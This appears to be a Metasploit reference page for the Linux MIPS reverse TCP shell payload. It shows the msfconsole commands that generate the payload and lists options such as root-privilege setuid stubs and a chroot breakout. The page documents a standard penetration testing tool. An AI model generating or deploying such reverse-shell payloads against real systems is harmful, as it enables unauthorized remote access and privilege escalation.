Metasploit Penetration Testing Framework
Linux Command Shell, Reverse TCP Inline
Connect back to attacker and spawn a command shell
Rank
Authors
Similar Modules
Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/linux/mipsle/shell_reverse_tcp
msf payload(shell_reverse_tcp) > set LHOST [MY IP ADDRESS]
msf payload(shell_reverse_tcp) > generate
Module Options
| LHOST |
The local address |
| LPORT |
The local port (default: 4444) |
| AppendExit |
Append a stub that executes the exit(0) system call |
| AutoRunScript |
A script to automatically on session creation. |
| InitialAutoRunScript |
An initial script to run on session created (before AutoRunScript) |
| PrependChrootBreak |
Prepend a stub that will break out of a chroot (includes setreuid to root) |
| PrependSetresuid |
Prepend a stub that executes the setresuid(0, 0, 0) system call |
| PrependSetreuid |
Prepend a stub that executes the setreuid(0, 0) system call |
| PrependSetuid |
Prepend a stub that executes the setuid(0) system call |
| ReverseConnectRetries |
The number of connection attempts to try before exiting the process |
| WORKSPACE |
Specify the workspace for this module |